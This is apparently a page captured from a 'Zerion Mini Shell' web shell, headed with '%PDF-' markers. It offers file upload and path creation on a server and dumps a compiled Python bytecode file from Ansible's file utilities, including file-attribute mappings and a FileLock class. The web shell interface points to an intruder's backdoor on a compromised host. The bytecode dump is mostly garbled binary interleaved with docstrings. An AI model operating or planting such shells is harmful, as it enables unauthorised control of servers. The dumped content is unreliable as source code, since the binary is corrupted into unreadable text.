%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/common/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/common/__pycache__/file.cpython-39.pyc

a

�)g��@snddlmZmZmZeZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZddlmZmZmZddlmZmZddlmZzddlZdZWney�dZYn0d	d
ddd
dddddddddddddddd�Ze	� d�Z!e	� d�Z"e	� d �Z#d!Z$d"Z%d#Z&d$d%�Z'd&d'�Z(d(d)�Z)d*d+�Z*Gd,d-�d-e+�Z,Gd.d/�d/�Z-dS)0�)�absolute_import�division�print_functionN)�contextmanager)�to_bytes�	to_native�to_text)�b�binary_type)�	deprecateTFZnoatime�append�
compressedZnocowZnodumpZdirsyncZextentsZ	encrypted�	blocksizeZ	immutableZindexedZ
journalledZinlineZzeroZsynchronousZnotailZ	blockrootZundeleteZ
compressedrawZcompresseddirty)�A�a�c�C�d�D�e�E�h�i�I�j�N�s�S�t�T�u�X�Zz[+=-]z[^ugo]z[^rwxXstugo]i��Ii�cCs"tjtjBtjBt�|�tj@S)a>is_executable(path)

    is the given path executable?

    :arg path: The path of the file to check.

    Limitations:

    * Does not account for FSACLs.
    * Most times we really want to know "Can the current user execute this
      file".  This function does not tell us that, only if any execute bit is set.
    )�stat�S_IXUSR�S_IXGRP�S_IXOTH�os�ST_MODE)�path�r+�D/usr/lib/python3.9/site-packages/ansible/module_utils/common/file.py�
is_executableBsr-cCsdd�|D�}|S)NcSsg|]}|tvrt�|��qSr+)�FILE_ATTRIBUTES�get)�.0�attrr+r+r,�
<listcomp>[�z%format_attributes.<locals>.<listcomp>r+)�
attributesZattribute_listr+r+r,�format_attributesZsr5cs �fdd�t��D�}d�|�S)Ncsg|]\}}|�vr|�qSr+r+)r0�keyr1�r4r+r,r2`r3z-get_flags_from_attributes.<locals>.<listcomp>�)r.�items�join)r4�flagsr+r7r,�get_flags_from_attributes_sr<cCs6ttdd�t�t�t�t�t�t�tdgd�d�}|S)N�raw)�typer1)�aliases)�mode�owner�groupZseuserZseroleZselevelZsetyper4)�dict)Zarg_specr+r+r,�get_file_arg_specds
�
rDc@seZdZdS)�LockTimeoutN)�__name__�
__module__�__qualname__r+r+r+r,rErsrEc@s8eZdZdZdd�Zeddd��Zddd�Zd	d
�ZdS)
�FileLocka
    Currently FileLock is implemented via fcntl.flock on a lock file, however this
    behaviour may change in the future. Avoid mixing lock types fcntl.flock,
    fcntl.lockf and module_utils.common.file.FileLock as it will certainly cause
    unwanted and/or unexpected behaviour
    cCstddd�d|_dS)Nz�FileLock is not reliable and has never been used in core for that reason. There is no current alternative that works across POSIX targetsz2.16)�version)r�lockfd��selfr+r+r,�__init__}s�zFileLock.__init__Nccs0z |�|||�dVW|��n
|��0dS)z.
        Context for lock acquisition
        N)�set_lock�unlock)rMr*�tmpdir�lock_timeoutr+r+r,�	lock_file�szFileLock.lock_filecCs&tj�|d�tj�|���}d}t}tjddkr6t}t	|d�|_
|dkrxt�|j
tj
tjB�t�|tjtjB�dS|�r�d}||kr�z0t�|j
tj
tjB�t�|tjtjB�WdS|y�t�|�||7}Yq�Yq�0q�|j
��td�|���t�|j
tj
�t�|tjtjB�dS)ak
        Create a lock file based on path with flock to prevent other processes
        using given path.
        Please note that currently file locking only works when it's executed by
        the same user, I.E single user scenarios

        :kw path: Path (file) to lock
        :kw tmpdir: Path where to place the temporary .lock file
        :kw lock_timeout:
            Wait n seconds for lock acquisition, fail if timeout is reached.
            0 = Do not wait, fail if lock cannot be acquired immediately,
            Default is None, wait indefinitely until lock is released.
        :returns: True
        zansible-{0}.lockg�������?r��wTz{0} sec)r(r*r:�format�basename�IOError�sys�version_info�BlockingIOError�openrK�fcntl�flockZLOCK_EXZLOCK_NB�chmodr$�S_IWRITE�S_IREAD�time�sleep�closerE)rMr*rQrRZ	lock_pathZl_waitZr_exceptionZe_secsr+r+r,rO�s4

zFileLock.set_lockcCs@|js
dSzt�|jtj�|j��Wnty:Yn0dS)z�
        Make sure lock file is available for everyone and Unlock the file descriptor
        locked by set_lock

        :returns: True
        T)rKr]r^ZLOCK_UNrd�
ValueErrorrLr+r+r,rP�szFileLock.unlock)N)N)	rFrGrH�__doc__rNrrSrOrPr+r+r+r,rIvs

0rI).Z
__future__rrrr>Z
__metaclass__�errnor(r$�re�pwd�grprb�shutil�	tracebackr]rY�
contextlibrZansible.module_utils._textrrrZansible.module_utils.sixr	r
Z$ansible.module_utils.common.warningsrZselinuxZHAVE_SELINUX�ImportErrorr.�compileZMODE_OPERATOR_REZUSERS_REZPERMS_REZ
_PERM_BITSZ_EXEC_PERM_BITSZ
_DEFAULT_PERMr-r5r<rD�	ExceptionrErIr+r+r+r,�<module>sl
�




Zerion Mini Shell 1.0